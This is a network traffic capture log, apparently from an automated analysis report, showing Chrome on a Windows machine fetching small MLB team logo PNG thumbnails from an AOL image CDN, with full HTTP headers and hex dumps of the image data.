2024-05-23 22:34:48 UTC	1508	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500366 Cache-Control: public, max-age=2592000 Cache-Tag: 327213907338796065784444510814515403658,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21945-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:48 GMT Edge-Cache-Tag: 327213907338796065784444510814515403658,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "2d9a8ba46e16fd58c70ba88fb8d86218" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:23:43 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35C3) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1890,owidth=50,oheight=50,obytes=1675,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000074-IAD X-Timer: S1711411322.464620,VS0,VE1 Content-Length: 1890 Connection: close
2024-05-23 22:34:48 UTC	1890	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f6 86 77 ff ff ff ff ff ff ff fb f8 ff fb f9 ff f9 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpLw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49866	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	705	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fd.AWj8FuN2V4xyoJwzDPGQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Foakland_a_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=1e4049ff055d73d3c2d44d2d8fbe52423c466b52 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:48 UTC	1136	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2516469 Cache-Control: public, max-age=2592000 Cache-Tag: 334489708646080945314221290088747207936,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21925-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 183 Content-Type: image/png Date: Thu, 23 May 2024 22:34:48 GMT Edge-Cache-Tag: 334489708646080945314221290088747207936,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "5784d8dc6f4454c37ee40fd0f16dd30b" Expiration: expiry-date="Sun, 01 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 04 Mar 2024 14:29:44 GMT Server: ECAcc (lhd/35DA) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1993,owidth=50,oheight=50,obytes=2270,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kiad7000078-IAD X-Timer: S1711395220.749142,VS0,VE91 Content-Length: 1993 Connection: close
2024-05-23 22:34:48 UTC	1993	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 01 5b 4e f0 f3 f3 ff ff ff ff ff ff ff ff ff e6 ec eb ff ff ff f3 f6 f6 f5 f7 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fe fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ed f1 f1 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f1 f4 f4 ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL[N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49867	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	702	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F_f.0rX.8xWRSA.z3Dpizcw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20200508%2F500x500%2Fpadres_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=7a024194b9142763655abfd6ed1e3e4f6495bf83 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:48 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500366 Cache-Control: public, max-age=2592000 Cache-Tag: 417403057124882857595573738733836043981,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100137-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:48 GMT Edge-Cache-Tag: 417403057124882857595573738733836043981,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "bb47702e4af53a43492a844fe98f5ba8" Expiration: expiry-date="Tue, 10 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 13 Mar 2024 18:59:12 GMT Server: ECAcc (lhd/35F1) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1560,owidth=50,oheight=50,obytes=1608,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000043-IAD X-Timer: S1711411322.463115,VS0,VE2 Content-Length: 1560 Connection: close
2024-05-23 22:34:48 UTC	1560	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 cd 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff fc f4 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa ed ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc f5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fc ff fb ef ff ff ff ff ff ff ff ff ff ff fb f0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f7 e0 ff fb f0 ff ff ff ff fd f8 ff fa ec ff ff ff ff fc f2 ff ff ff ff ff ff ff f8 e5 ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49865	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	934	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkSFKSLh2AAsN66Xe9ynyIA--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190312%2F500x500%2Fpirates_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=d43580e1cb031eac0937777fb019d65cc8aa5e92 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:48 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500366 Cache-Control: public, max-age=2592000 Cache-Tag: 291201452673130966952938246903968807838,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100137-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:48 GMT Edge-Cache-Tag: 291201452673130966952938246903968807838,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "3cb4a068edb5121cffac9baaedd50690" Expiration: expiry-date="Sun, 01 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 04 Mar 2024 21:48:23 GMT Server: ECAcc (lhd/3594) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1243,owidth=50,oheight=50,obytes=1284,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000029-IAD X-Timer: S1711411322.456364,VS0,VE2 Content-Length: 1243 Connection: close
2024-05-23 22:34:48 UTC	1243	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 4f 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f6 df ff ff ff ff ff fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d4 a2 58 ff ff ff ff f7 e4 ff f3 d4 ff ff ff ff ff ff ff ff ff ff f9 eb ff ff ff ff f2 d1 ff f1 cf ff ff ff ff ee c1 ff ff ff ff ff ff ff ff ff ff f2 d1 ff ff ff ff ec ba ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f2 d1 ff ff ff ff ff ff ff ff ff ff ff ff ff f7 e3 ff ff ff ff ff ff ff ff ff ff f7 e3 ff fe fd ff fe fc ff ff ff ff ff ff ff f3 d4 ff ff ff ff fe fa ff ff ff ff fa ec ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xOPLTEGpLX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49868	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	933	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FJXstQIXskrijadWN4CrVWw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20200323%2F500x500%2Fbrewers_wbg.png&client=76f99bdb8f78cd44cc0b&signature=56ba0bfafd8e5d4e164cb8997565cb39aeac59ae HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:48 UTC	1134	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500366 Cache-Control: public, max-age=2592000 Cache-Tag: 379824895873875117746625377467473691998,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21980-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 84 Content-Type: image/png Date: Thu, 23 May 2024 22:34:48 GMT Edge-Cache-Tag: 379824895873875117746625377467473691998,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "03919e0797fc14ea543571a9ceb04838" Expiration: expiry-date="Sun, 28 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 29 Jan 2024 00:30:30 GMT Server: ECAcc (lhd/35A9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2464,owidth=50,oheight=50,obytes=3489,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000078-IAD X-Timer: S1711411322.454500,VS0,VE2 Content-Length: 2464 Connection: close
2024-05-23 22:34:48 UTC	2464	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c ff c5 2f ff c5 2f ff c5 2f ff c5 2e ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2e ff c5 2f ff c5 2f ff c5 2f ff c5 2e ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f 12 28 4b 07 35 7f 12 28 4c 07 35 7e 07 35 7d 0f 2b 58 ff c5 2f 41 47 45 08 34 7a 11 2a 51 11 29 4f dd ae 33 09 32 73 1a 2f 51 15 2b 4d e9 b6 32 0f 2c 5a 0d Data Ascii: PNGIHDR22)xPLTEGpL///.//////.///.//////////////////////////////////////(K5(L5~5}+X/AGE4z*Q)O32s/Q+M2,Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49870	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	698	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkMGV8nhIDPhon8NaaEH84Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20230811%2FMLB%2F500%2Frockies_wbg.png&client=76f99bdb8f78cd44cc0b&signature=da5ae335648275dd00d08fc5f3e80e3c24b0cb45 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:48 UTC	1134	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500378 Cache-Control: public, max-age=2592000 Cache-Tag: 182273963507800915258564016783015154633,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21976-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:48 GMT Edge-Cache-Tag: 182273963507800915258564016783015154633,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "08aaae7f58d3700d437c7968ada1bc41" Expiration: expiry-date="Fri, 05 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 06 Jan 2024 18:26:58 GMT Server: ECAcc (lhd/35E7) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2057,owidth=50,oheight=50,obytes=2054,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kiad7000043-IAD X-Timer: S1711411311.813140,VS0,VE129 Content-Length: 2057 Connection: close
2024-05-23 22:34:48 UTC	2057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c c3 cd d4 c3 cd d4 c3 cc d3 c3 cd d4 c3 cd d4 c4 cc d3 c3 ce d4 84 77 a8 35 08 70 c4 ce d5 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d3 c3 cd d4 c3 cd d4 c3 cd d4 c2 cc d3 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c2 cc d4 c3 cd d4 c3 cd d4 c3 cd d4 65 4c 92 c1 ca d3 c3 cd d4 c3 cd d4 c3 cd d4 be c6 d1 c3 cd d4 30 00 6d c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 32 01 6e c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 b3 b7 c9 ae b1 c5 c3 cd d4 c3 cd d4 c3 cd d4 bb c2 cf c3 cd d4 c3 cd d4 4e Data Ascii: PNGIHDR22)xPLTEGpLw5peL0m2nN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49871	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	934	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FEymZRBHvGs3_SkFA6laCUw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fmarlins_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=a962b344615cb6a98b4175735f4a69db77f28b25 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:48 UTC	1127	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2564807 Cache-Control: public, max-age=2592000 Cache-Tag: 486180871855964739240050906378015805461,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21932-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 65 Content-Type: image/png Date: Thu, 23 May 2024 22:34:48 GMT Edge-Cache-Tag: 486180871855964739240050906378015805461,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "718df2b367ed1209d7fb7ceab098e132" Expiration: expiry-date="Sun, 11 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 12 Feb 2024 18:29:14 GMT Server: ECAcc (lhd/35B9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2199,owidth=50,oheight=50,obytes=3523,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21920-LGA X-Timer: S1711346882.704987,VS0,VE1 Content-Length: 2199 Connection: close
2024-05-23 22:34:48 UTC	2199	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 f7 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff dc f2 fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e5 f5 fc ff ff ff ff fe fe ff ff ff ff ff ff ff ff ff ee f9 fd ff ff ff ff ff ff ff ff ff ff ff ff fe f7 f7 f6 fa fc ff ff ff ff ff ff fa fd fe fd ee f0 ff ff ff ff ff ff ff ff ff fe ff ff cb ec f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d5 e0 e6 fd e2 e4 ff ff ff ff fe fe fe f2 f3 ff ff ff ff ff ff fc d3 d6 f7 fb fd fb fe ff cd ec f9 ff ff ff ff ff ff e6 ed f1 ff ff ff ff ff ff fb c5 c9 ed f8 fd d6 f0 fa ff ff ff ff ff ff fd fe fe ff ff ff da ec f4 dc e6 ec ff fb fb b2 de f0 ff ff ff 00 Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49872	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	711	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsQqawBV36sXqpGuGwXrDbw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fcincinnati_reds_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=c3d45d0ff820b44e19dcc56cec51d222b1fbf9da HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:49 UTC	1508	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500378 Cache-Control: public, max-age=2592000 Cache-Tag: 213877885089736154285922381954877283479,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21976-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:48 GMT Edge-Cache-Tag: 213877885089736154285922381954877283479,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "5c1d315a44448b88a224555905737edf" Expiration: expiry-date="Sun, 28 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 29 Jan 2024 00:30:30 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35FD) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1719,owidth=50,oheight=50,obytes=1901,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000074-IAD X-Timer: S1711411311.829075,VS0,VE2 Content-Length: 1719 Connection: close
2024-05-23 22:34:49 UTC	1719	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f2 f2 f2 f6 f6 f6 ff ff ff ff ff ff fb ec ee ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 52 52 52 fb fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa e7 ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 e6 e9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe ff ff ff fd fd fd ff ff ff ff ff ff fc f4 f5 ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpLRRR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
